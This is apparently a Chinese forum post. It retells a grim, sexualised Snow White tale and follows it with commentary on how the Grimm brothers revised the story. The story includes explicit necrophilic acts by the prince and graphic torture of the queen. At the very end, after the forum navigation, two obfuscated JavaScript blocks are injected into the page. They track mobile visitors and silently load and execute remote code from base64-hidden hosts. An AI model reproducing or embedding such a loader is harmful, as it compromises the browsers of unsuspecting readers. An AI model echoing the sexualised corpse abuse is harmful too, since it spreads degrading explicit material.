说着,便把苹果剖开,先吃了一半,并且装出非常美味的样子。白雪公主看了再也无法忍耐,于是也将苹果送进嘴里,结果才吃第一口就痛苦的倒地不起。“这次是比上次要强上好几倍的剧毒,你是不可能再活过来了。”这么想着之馀,皇后也赶忙逃离现场。回到城里之后,皇后马上询问魔镜。这次魔镜这样回答∶“皇后啊,这个世界上最美的就是你……”皇后终于安心的倒在椅子上。终于成功了!终于杀死白雪公主了!那个怎么杀也杀不死的妖怪,终于从这个世界上消失了……在心理放松之后,随之而来的就是深深的疲劳。生活又再度恢复成以前那般;虽然有时躺在国王的臂弯里,还是会忍不住想起白雪公主那张可爱的脸,但皇后总是摇摇头,极力打消这个念头。以后每当她为了自己的罪行感到苦恼时,便会这样对自己说∶“如果当时我不杀了她,那么被杀的人就将是我。”那天傍晚,小矮人和往常一样回到家里,又看到倒在地板上的公主,再次陷入一片慌乱。大伙儿急急忙忙的,在公主身上摸索,看有没有凶器,但这次什么都没有发现。他们甚至脱去公主的衣服,用水和葡萄酒仔细清洗她的身体,但一点效果也没有。小矮人们个个放声大哭。怎么会有这么愚蠢的女孩呢?跟她说了两次、三次都没用,最后还是被害死了……小矮人们在遗体旁守了三天三夜,哭喊着白雪公王的名字,但也没能挽回她的生命。原本小矮人打算把遗体给火葬了,所以在周围推上了柴薪,但看见遗体的表情就像是睡着一样,脸颊还是那么红润,肌肤还是那样透明;他们实在不忍心点火。“对了,把她放进玻璃制的棺木里吧。”小矮人们异口同声的说道。在当时,玻璃是非常高贵的东西,虽然制造玻璃的技术自古就有,但多半都是拿来制造一些装饰用的小东西,直到中世纪末期才被拿来制成教会和教堂的窗玻璃。在普鲁士,工匠都是利用燃烧森林树木所产生的碳酸钾,来作为制造玻璃的溶剂,而小矮人们用来盛装公主的玻璃棺也就是用同样的方法,在他们森林中的工坊里制造的。小矮人们把公主放进玻璃棺里,在上头嵌入金色的名字,表明这是皇家的公主,然后把棺木运到山顶上,每天晚上都派人轮流看守。结果飞来了许多鸟禽,都是住在森林里的枭、乌鸦和鸽子。当时的人们相信,人死后灵魂会变成鸟,飞向天神所在的地方,所以小矮人们非常照顾这些小鸟。尽管是放在玻璃棺里,公主的表情却仍和生前一样;两颊带着玫瑰色,肌肤还是那么的白,头发还是那么的黑。可是无论肉体多么美好,迟早还是会腐化,冒出恶臭。想到这里,小矮人们就悲从中来。过去大家一起生活了那么久,可是今后再也没有人会在他们工作完回家时出来迎接他们了。突然有一天,一个年轻男人带着侍从出现在山上,他腰间佩着剑,身上穿着绢制的衣服。一问之下才知道原来是邻国的王子,在出外狩猎时乱误入林,迷失了回城的路。小矮人们为王子提供了饮食,并让他住在家里。王子被这奇妙的玻璃棺给吸引,便询问事情的原委,而小矮人们也一五一十的跟他说了。“好美丽的公主啊,把这个玻璃棺卖给我吧,不管多少钱我都愿意忖。”

小矮人们听了之后相当不悦。“这怎么行,不管你出多少钱,我们都不会卖。”可是王子却丝毫也不肯死心。玻璃棺里的公主有雪白的肌肤、蔷薇蓓蕾般的红唇、柔亮的黑发,以及微微隆起的胸部、纤细的双腿……多么可爱的女孩啊,即使在宫廷里也找不到这样的女孩呢。“那么就当作礼物送给我吧,我会一辈子都好好珍惜的。只要能够看见这么美丽的公主,我我心满意足了。”王子的执着终于打动了小矮人。白雪公主毕竟是皇室的人,与其埋在这偏僻的深山里,不如把她交给同等身份的王子带回去厚葬,这样对公主来说才是真正的幸福吧。王子在与小矮人再三道谢之后,做好了出发的准备。隔天王子便骑上白马,并由家臣们抬着玻璃棺跟在后面,浩浩荡荡的踏上归程。而七个小矮人则一直目送王子一行人离去,并不断的挥手,直到再也看不见他们为止。把玻璃棺运回城里之后,王子的行为就变得非常异于常规,不论昼夜他都一直守候在玻璃棺旁,片刻不离。如果必须外出,他也会叫仆人抬着玻璃棺跟在后面。要是真的不得不暂时离开棺木,王子就会把它放在没人可以进入的房间里,锁上门锁。然而,每当无法看见棺木时,王子整个人就变得魂不守舍,无法专心工作;甚至每天早晚都必须在棺木旁边用餐,否则就会食不下咽。原来这位王子有病态的恋尸癖,他无法爱上活着的女人。过去王子也曾四处搜寻刚死不久的年轻女孩尸体。在取得尸体之后,他总会抱着尸体忘情的抚摸,而尸体也不会有任何反应,只会逐渐变冷;王子对这样的感觉十分迷恋,无法自己。因为王子本身是个性无能。虽然从小身边就围绕着不可胜数的女人,而且大家都想和他攀上关系,最好是能够当上王妃,但王子却从来也不看这些女人一眼。他的父王对王子这种怪异的行为十分担心,于是便下令家臣帮王子安排,制造邂逅的机会。可是每当重要时刻来临,王子总是招来女人的嘲笑,让气氛变得僵硬不已从此以后,王子便对女人抱着憎恶。虽然父王一再的送女人来诱惑他,但他只要一想到那些女人近乎歇斯底里的嫉妒,以及相互的恼恨,就厌恶感倍增。这天晚上,王子像往常一样将房门关了起来,然后掀开玻璃棺的盖子他轻轻抚摸着那上了妆的美丽容颜,抱着她的躯体,爱抚着那冰冷的乳房,并将手伸向公主的下腹。在这样的情况下,王子独自低声呻吟,达到了高潮。他已经度过了许多个这样的夜晚。有一天,一个好奇心太重的侍从,趁着王子不在时,偷偷打开了玻璃棺所在的房间的门锁,潜进里面。侍从看见躺在玻璃棺里的公主散发着病态的美感,终于忍不住掀开了棺盖,把公主抱了起来。就在这时,背后突然传来逐渐接近的脚步声,让侍从吓了一跳,顿时将手放开,而公主的遗体便咕隆的跌回棺木里。在这样的撞击下,哽在公主喉头的那口毒苹果,便噗的一声迸了出来“这里是哪里?为什么我会在这里?”得知消息的王子急忙赶了回来,看见白雪公主已经从玻璃棺中坐起身来,不禁大惊失色。这究竟是怎么回事?死人竟然复生了……他心中的失意比欢喜还多,但还是强打起精神,殷勤的对公主说∶“是我把你带回来的,我以为你已经死了。”在说明事情的原委之后,王子正式向公主求婚。公主对此也并不排斥,毕竟又能再过豪华奢侈的生活了。再说,嫁给王子也不坏;过去她总是和老男人交往,现在遇见了英俊的青年,感觉还蛮新鲜的。于是王子和公主便在城里举行了盛大的结婚典礼,邻国的王公大臣都受到了邀请,每天都举办绚烂豪华的酒宴。白雪公主再也不想回去过以前那种清苦的生活;现在她每天都被金银财宝、漂亮的绢织刺绣洋装、高级的家具,以及法蓝德尔制的挂毯所围绕……日子过得相当悠闲愉快。时间都在向宝石商人或是裁缝师订购货品中度过。再不然就是和侍女们聚在一起说长道短,然后呵呵呵的放声大笑。尽管这样的日子相当单调,但白雪公主却一点也不会觉得无聊,因为这样总比呆在森林中七矮人的小屋里没人陪伴要好得多了。王子十分轻蔑这样俗气的白雪公主,不过他早就认清了现实,知道女人就是这副德行,所以也并非全然无法接受。因此除非必要,他是不会和那些女人斤斤计较的。现在的他只专注于自己的下一个目标,寻找另一个新鲜的尸体……日子过得非常满足的白雪公主,有一件事是她非得要完成不可的。那就是向多次想置自己于死地的皇后报仇。而且天天举办舞会也已经有点腻了,她想找别的事来开开心。“如果不让我复仇,我晚上会睡不着觉。再说,要是母亲找到这里来,还想杀死我怎么办?我真的好害怕……”白雪公主故意皱起眉头这样说道∶王子也没多想便同意了。“说的也是,如果惹来麻烦就不好了,还是早点解决掉才能放心。”王子生平最讨厌的就是惹麻烦上身。刚好那时欧洲各国又疯狂流行着处死巫女的活动,凡是碍眼的人、自己讨厌的人,都可以用这个罪名来加以扫除。不久之后,城里便举办起一次前所未有的盛大宴会。皇后也受到了邀请,她当然不希望失礼于邻国的王子,而且她本人也很喜欢豪华的宴会,所以二话不说就答应了。在出发赴宴的当天,皇后身穿紫色天鹅绒的洋装,挂上七串钻石项炼虽然皇后的眼角已经长出皱纹,两颊也已经松弛,肌肤也不再那样白皙,但爱美的天性仍旧没有改变。临走前,她不经意的向那面魔镜问道∶“魔镜啊,魔镜,谁是这个世界上最美的女人?”魔镜回答她∶“在这里最美的是皇后你,但这个世界上最美的是在越过七座山头的城堡中和王子结婚的新王妃。”这是怎么回事?好不容易才杀了一个劲敌,怎么又会冒出另一个新的劲敌呢?气冲冲的皇后原本已不想去赴宴,但在好奇心的驱使下,她还是忍不住出席了宴会。宾客的马车相继抵达城内,乐队演奏着华丽的乐章,宣告着宾客的驾临在侍从的引导下,宾客被领到新王妃的面前致意。当皇后发现新王妃竟是白雪公主时,心中的恐惧徒然升起。她想立刻逃离,但随即被卫士拘捕,并送上了审判庭;罪名当然是为了杀害白雪公主而施法术、调制毒药,因为这是个审判巫女的法庭。当时有不少使用药草为人治病或帮人堕胎的女人,都被人以巫女的罪名起诉,并在受到残酷的严刑拷打之后,被活生生的烧死。被捕的皇后现在只能拼命的为自己求饶。“饶了我吧,是我不对。公主啊,你忘了过去在王宫中那些快乐的日子吗?你忘了我是那样的疼爱你吗?你是我可爱的女儿啊,是我忍着疼痛生下的孩子啊,我怎么可能会想置你于死地呢?饶了我吧,那时的我是被恶魔附身了。我并不是真的想杀你啊……”这样悲戚的哀求,博得了周围众人的眼泪,连王子也向公主说情,希望能够放过皇后。但公主充耳不闻,她下令严刑拷问皇后。行刑的卫士用长长的人钳夹着烧得赤红的铁鞋,放在皇后的面前。这时皇后已经全身虚脱,没有力气反抗、哭号了,就这样硬生生的被套上了铁鞋。“铁鞋”是中世纪欧洲非常流行的拷问巫女的专用工具。在十九世纪未,苏格兰王詹姆士六世便曾利用这种器具来惩治巫女。等犯人穿上赤红的铁鞋后,行刑的卫士还会用铁锤将鞋子打扁;这种如同地狱般的凄惨景象,在当年是不断重复发生的。在焦肉的臭味当中,皇后拼命的蹬着双脚跳跃着,最后终于因为力竭而倒了下来。当白雪公主看着母亲穿上铁鞋跳舞跳到力竭而死,会有何反应呢?是一面欣赏一面享受着餐桌上的丰盛佳肴呢?还是转头望着和她一起筹划这场游戏的共犯,也就是王子,然后流露出微笑呢……?象征着恶势力的皇后已经伏诛,故事终于可以快乐收场。之后王子和白雪公王是怎样度过接下来的人生呢?这就没人知道了。不过这两个人似乎都很欣赏对方的残酷个性,所以他们往后的生活应该会很快乐才对。患了“恋尸癖”的王子,以及患了“奢侈病”的白雪公主……在他们玩腻了旧有的残酷点子之后,还会再找来第二、第三个牺牲者;当“铁鞋”的酷刑看腻了之后,他们想必还会发明新的“串刺”酷刑,以提供他们平日的休闲娱乐吧。在中世纪欧洲四处蔓延的“处死巫女”的恐怖风潮,或许就是这样的人所带起的呢?皇后的背景探索‘白雪公主被身为巫女的继母所杀害’,这是一般人所知道的“白雪公主”的故事。然而,真正想置白雪公主于死地的皇后却并非继母,而是白雪公主的亲生母亲。从第二版开始,格林兄弟便将生母的身份改成了继母。可是,在《格林童话集》的第一版中,并没有白雪公主的母亲生下她之后死去,父王另外迎娶继母的描述。当格林兄弟推出《格林童话集》初版时,收到了许多读者的批评,认为这些故事中充满了太多不道德和残酷的情节。读者反应,像这类亲生母亲杀死女儿之后,还要吞食内脏的情节,实在不是有良知的德国母亲应该读给孩童听的故事。除此之外,来自出版同业与书评家的攻击也不少,好比说“哪有母亲或保姆能够脸不红气不喘的,念这种异色故事给纯洁无瑕的小女儿听呢?”“(格林兄弟)在搜集民间故事时并未探访社会的每一个阶层,因此常沿袭了转述故事者的粗鄙口气,这对故事本身是具有杀伤力的。”等等……格林兄弟也对这些批判之声做出了回应;日后每次再版时,格林兄弟都会对故事加以修改。以性爱的情节来说,这也是他们最担心的,几乎是全部删除。相较于其他暴力、残酷的情节,格林兄弟似乎对性爱的描述采取了极为严格的标准。举例来说,在“青蛙王子”的初版中,青蛙变成王子之后横躺在床上,到了第二版以后就变成掉到床下,而且还加上了国王允许他们结婚的桥段。“没有手的新娘”故事中,女儿因为拒绝和父亲结婚而遭到被判去双手和乳房的命运,后来也改成了厌恶近亲相奸的兄弟和恶魔订下契约的剧情。然而,这样经过一再改写的故事,却让真实性打了折扣。根据约翰。M。埃里欺所着的《一则多馀的童话故事》一书,指出原典的“白雪公主”其实是母女间因为性的嫉妒而引发敌对关系的故事。母亲之所以想生下漂亮的女儿,为的是让自己的美获得认同,是以自私为原始的出发点。然而皇后在生下白雪公主后,突然发觉女儿并不是自己的美的延伸,而是一个和自己竞争,并且胜过自己的另一个人。这样的威胁让皇后决心铲除情敌,最后更落得以毁灭收场。欧洲各国其实都有和“白雪公主”极为近似的同类故事,其中就有像国王向白雪公主求欢,或是国王称赞白雪公主的美貌,结果导致夫妻感情生变的情节这些同类故事都暗示着美丽女儿和父亲之间的不寻常关系,也是暗藏另一种可能性的地方。身为皇后的亲生母亲之所以会放逐白雪公主,有没有可能不是因为嫉妒,而是希望能斩断父女之间不正常的关系呢?森义信在《童话的深层》中,提出了“皇后真的想杀死白雪公主吗?”的疑问。简而言之,新的可能性是∶皇后强迫白雪公主离开父亲,使得公主萌生怨恨,所以才编造了“继母想要杀我”的谎言,借此来骗取小矮人们的同情。森先生同时还提及∶皇后前去探访白雪公主,其实并不是要去加害她,而是担心女儿在外住得不习惯,所以三不五时带些能令她高兴的小礼物去送给她,期望能稍减女儿所受的孤寂之苦。白雪公主因为束腰和梳子而晕死过去,其实是故弄玄虚、故作可怜的机率比较大;这也是另一种可能性。不过,皇后被套上烧得赤红的铁鞋,跳舞至死的情节从初版到最后一版都没有改变。《格林童话》中,有许多坏人都在故事最后遭到酷刑的惩罚,而这些刑罚在当时都是确实存在的,因此这也算是反映了历史的真实。有恋尸癖的王子根据格林兄弟于一八○八年最早的笔记,前去寻找玻璃棺的其实是父王,而不是王子。格林兄弟将这里加以改写,把王子描述成了一个恋尸癖患者。森先生也提到,看见美女的尸体便一见钟情,非要带回城堡里玩赏的王子,的确是“异于常规”。尽管棺木内躺着天下第一美女,王子也从没和死者交谈过;在这样的情况下,还是天天在尸体旁边进餐,否则就食不下咽,实在是令人感到头皮发麻。在故事的原典中,王子每次都要侍从们抬棺跟着他走,结果惹得侍从心生怨恨,用力殴打白雪公主的背部,才让哽在喉间的毒苹果给咳了出来,使得白雪公主因此而复活。这段情节也是经过了多次改写,才变成今天的面貌。[本帖最后由贼仔于编辑]粥猩吃金币 50精彩文章希望再见兄弟大作!转区规定!关...

粥猩吃威望 1精彩文章希望再见兄弟大作!转区规定!关...

粥猩吃贡献 2精彩文章希望再见兄弟大作!转区规定!关...


上一篇:和室友女友的故事

下一篇:双面女孩(完)


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};